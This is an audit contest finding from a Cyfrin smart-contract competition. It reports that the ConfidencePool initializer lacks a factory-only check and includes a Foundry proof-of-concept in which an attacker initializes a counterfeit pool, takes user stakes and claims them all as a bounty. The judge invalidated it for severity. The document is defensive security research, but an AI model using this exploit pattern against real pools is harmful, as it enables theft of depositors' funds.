BattleChain Confidence Pools

Cyfrin

FoundrySolidityLayer 2

7.25 ETH

View results

Previous Next

Submission Details

Impact: low

Likelihood: high

Invalid

`ConfidencePool.initialize()` lacks caller restriction, allowing creation of non-canonical counterfeit pools that bypass factory-enforced trust parameters

udogodwin2k22

ConfidencePool.initialize() allows protocol-shaped counterfeit pools that bypass factory-enforced trust parameters. Users or integrations that authenticate pools by implementation/interface/registry/agreement can deposit into a pool where the attacker controls resolution and recovery.

The factory's createPool() enforces five security-critical restrictions: allowlisted stake token, agreement owner authorization, DAO-controlled moderator, pool registration, and pinned registry, but initialize() is external with no check that msg.sender is the factory and replicates none of them. Anyone can deploy an EIP-1167 clone of the real ConfidencePool implementation and call initialize() directly with the real registry, a real valid agreement, real in-scope accounts, and a real allowlisted token, while setting themselves as outcomeModerator, owner, and recoveryAddress.

Description

The factory's createPool() enforces these restrictions before deploying and initializing a pool:

// src/ConfidencePoolFactory.sol:67-101

function createPool(...) external whenNotPaused returns (address pool) {

if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed(); // token vetting

if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();

if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator(); // owner auth

pool = Clones.cloneDeterministic(poolImplementation, salt);

IConfidencePool(pool).initialize(

agreement,

stakeToken,

address(safeHarborRegistry), // pinned to factory's registry

defaultOutcomeModerator, // pinned to factory's DAO moderator

expiry,

minStake,

recoveryAddress,

msg.sender, // owner = agreement owner

accounts

);

_poolsByAgreement[agreement].push(pool); // canonical registration

However, initialize() itself accepts all of these as caller-supplied parameters with no factory check:

// src/ConfidencePool.sol:179-218

function initialize(

address agreement_,

address stakeToken_,

address safeHarborRegistry_, // caller chooses freely

address outcomeModerator_, // caller chooses freely

uint256 expiry_,

uint256 minStake_,

address recoveryAddress_, // caller chooses freely

address owner_, // caller chooses freely

address[] calldata accounts

) external initializer {

if (agreement_ == address(0)) revert ZeroAddress();

if (stakeToken_ == address(0)) revert ZeroAddress();

if (safeHarborRegistry_ == address(0)) revert ZeroAddress();

if (outcomeModerator_ == address(0)) revert ZeroAddress();

if (owner_ == address(0)) revert ZeroAddress();

if (recoveryAddress_ == address(0)) revert InvalidRecoveryAddress();

if (expiry_ < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();

if (expiry_ > type(uint32).max) revert ExpiryTooFar();

if (minStake_ == 0) revert InvalidAmount();

if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {

revert InvalidAgreement();

}

// ... no msg.sender == factory check anywhere

The gap between factory restrictions and initialize() checks:

Factory restriction	Purpose	`initialize()` check
`allowedStakeToken[stakeToken]`	Prevent fee-on-transfer/rebasing accounting bugs	None
`IAgreement(agreement).owner() == msg.sender`	Only agreement owner creates pools	None
`defaultOutcomeModerator` hardcoded	Ensure DAO-controlled resolution	Caller chooses freely
`address(safeHarborRegistry)` hardcoded	Ensure trusted state oracle	Caller chooses freely
`_poolsByAgreement[agreement].push(pool)`	Canonical pool registry	Not registered

The initializer Modifier only prevents re-initialization of the same proxy. It does not restrict who can initialize a freshly deployed clone.

The factory also provides no isOfficialPool(address) mapping. The only verification path is getPoolsByAgreement(address) which returns an array requiring O(n) iteration; no constant-time on-chain check exists.

This behavior is not documented as intentional anywhere in docs/DESIGN.md. The README states the moderator is "set by the factory at clone time and immutable per-pool," and the sponsor "creates a pool via the factory", both imply factory-exclusive creation.

Risk and Impact Details

The attack works by creating a counterfeit pool that can appear protocol-shaped because it uses the real implementation bytecode, real registry, real agreement, real scope accounts, and a real allowlisted token, while only the trust-critical authority fields differ; outcomeModerator, owner, and recoveryAddress are all set to the attacker.

Since the protocol intentionally supports multiple pools per agreement, users and integrations cannot treat agreement identity as proof of pool legitimacy. A direct-initialized clone can point to the same real agreement and registry as an official pool while replacing only the authority fields (outcomeModerator, owner, and recoveryAddress).

If users deposit into this counterfeit pool, and the agreement reaches CORRUPTED on the real registry:

The attacker calls flagOutcome(CORRUPTED, true, attackerAddress) as the moderator. Every check passes: onlyModerator (attacker IS the moderator), registry returns CORRUPTED ( real registry, real breach). The contract sets bountyEntitlement = snapshotTotalStaked + snapshotTotalBonus,the entire pool.
The attacker calls claimAttackerBounty(). Every check passes: msg.sender == attacker (line 436 — attacker named themselves). stakeToken.safeTransfer(attacker, payout) (line 449) sends all user funds to the attacker.

Recommended Mitigation Steps

Add an isOfficialPool(address) → bool mapping to the factory for O(1) on-chain verification by downstream integrations:

+ mapping(address => bool) public isOfficialPool;

function createPool(...) external whenNotPaused returns (address pool) {

// ... existing checks and clone deployment ...

_poolsByAgreement[agreement].push(pool);

+ isOfficialPool[pool] = true;

}

This allows any user or integration to verify pool legitimacy in constant time without iterating getPoolsByAgreement().

Alternatively, store the factory address as an immutable in the implementation constructor and restrict initialize() to factory-only calls. Note: this requires the factory address to be known before deploying the implementation, which may introduce a deployment-order dependency depending on the deployment flow.

PoC

The PoC deploys a counterfeit clone directly (bypassing the factory), initializes it with the attacker as moderator/owner/recovery using the same real registry and agreement, has users deposit, transitions the agreement to CORRUPTED, and shows the attacker claiming all user deposits via claimAttackerBounty.

Create a file at test/audit/PoC_FactoryBypass.t.sol and paste the code below, then run with:

forge test --match-test test_attackerBypassesFactoryViaDirectInitialize -vvv

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {ConfidencePool} from "src/ConfidencePool.sol";

import {PoolStates} from "src/libraries/PoolStates.sol";

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";

import {MockERC20} from "test/mocks/MockERC20.sol";

import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";

import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";

import {MockAgreement} from "test/mocks/MockAgreement.sol";

/// @title PoC: Factory bypass via direct initialize — counterfeit pool steals user deposits

/// @notice Demonstrates that ConfidencePool.initialize() has no caller restriction,

/// allowing anyone to deploy a counterfeit clone with themselves as moderator/owner/recovery

/// using real protocol parameters, then claim all user deposits when CORRUPTED fires.

contract PoC_FactoryBypass is Test {

uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;

address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);

function test_attackerBypassesFactoryViaDirectInitialize() external {

vm.warp(BASE_TIMESTAMP);

// =====================================================================

// Setup: shared protocol infrastructure (same for official + rogue pools)

// =====================================================================

MockERC20 token = new MockERC20();

MockAttackRegistry attackRegistry = new MockAttackRegistry();

MockSafeHarborRegistry registry = new MockSafeHarborRegistry();

MockAgreement agreement = new MockAgreement(makeAddr("realAgreementOwner"));

registry.setAttackRegistry(address(attackRegistry));

registry.setAgreementValid(address(agreement), true);

agreement.setContractInScope(SCOPE_ACCOUNT, true);

attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);

// Deploy the real implementation (same one the factory would use)

ConfidencePool implementation = new ConfidencePool();

address maliciousActor = makeAddr("maliciousActor");

address alice = makeAddr("alice");

address bob = makeAddr("bob");

// =====================================================================

// Step 1: Attacker deploys their own clone — no factory involved

// =====================================================================

ConfidencePool roguePool = ConfidencePool(Clones.clone(address(implementation)));

address[] memory scope = new address[](1);

scope[0] = SCOPE_ACCOUNT;

// initialize() succeeds with attacker as moderator, owner, and recovery.

// Uses the REAL registry, REAL agreement, REAL scope — all checks pass.

vm.prank(maliciousActor);

roguePool.initialize(

address(agreement), // real agreement

address(token), // real token

address(registry), // real registry

maliciousActor, // attacker as moderator (factory would use DAO)

block.timestamp + 31 days, // valid expiry

1e18, // minStake

maliciousActor, // attacker as recovery (factory would use agreement owner)

maliciousActor, // attacker as owner (factory would use agreement owner)

scope // real scope accounts

);

// Verify attacker controls the pool

assertEq(roguePool.outcomeModerator(), maliciousActor);

assertEq(roguePool.owner(), maliciousActor);

assertEq(roguePool.recoveryAddress(), maliciousActor);

// =====================================================================

// Step 2: Users stake into the rogue pool

// =====================================================================

token.mint(alice, 100 ether);

vm.startPrank(alice);

token.approve(address(roguePool), 100 ether);

roguePool.stake(100 ether);

vm.stopPrank();

token.mint(bob, 50 ether);

vm.startPrank(bob);

token.approve(address(roguePool), 50 ether);

roguePool.stake(50 ether);

vm.stopPrank();

uint256 totalStaked = roguePool.totalEligibleStake();

assertEq(totalStaked, 150 ether);

// =====================================================================

// Step 3: Agreement transitions through UNDER_ATTACK → CORRUPTED

// (real registry state — this is the insured event)

// =====================================================================

attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);

roguePool.pokeRiskWindow(); // seals riskWindowStart — withdrawals now disabled

// Confirm users CANNOT withdraw

vm.prank(alice);

vm.expectRevert();

roguePool.withdraw();

attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);

roguePool.pokeRiskWindow(); // seals riskWindowEnd

// =====================================================================

// Step 4: Attacker flags good-faith CORRUPTED naming themselves as attacker

// =====================================================================

vm.prank(maliciousActor);

roguePool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, maliciousActor);

// bountyEntitlement = entire pool

assertEq(roguePool.bountyEntitlement(), totalStaked);

assertEq(roguePool.attacker(), maliciousActor);

// =====================================================================

// Step 5: Attacker claims bounty — takes all user deposits

// =====================================================================

uint256 attackerBalBefore = token.balanceOf(maliciousActor);

vm.prank(maliciousActor);

roguePool.claimAttackerBounty();

uint256 attackerBalAfter = token.balanceOf(maliciousActor);

// Attacker received ALL user deposits

assertEq(attackerBalAfter - attackerBalBefore, totalStaked);

// Users lost everything they deposited

assertEq(token.balanceOf(address(roguePool)), 0);

assertEq(token.balanceOf(alice), 0);

assertEq(token.balanceOf(bob), 0);

}

Updates

Lead Judging Commences

inallhonesty Lead Judge

29 days ago

inallhonesty Lead Judge 22 days ago

Submission Judgement Published

Invalidated

Reason: Non-acceptable severity

Assigned finding tags:

QA / Informational / Gas

inallhonesty Lead Judge 22 days ago

Submission Judgement Published

Invalidated

Reason: Non-acceptable severity

Assigned finding tags:

QA / Informational / Gas

Prize pool breakdown

Total prize

7.25 ETH

nSLOC

589

0 ETH / LOC

High Medium

Low

1.25

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!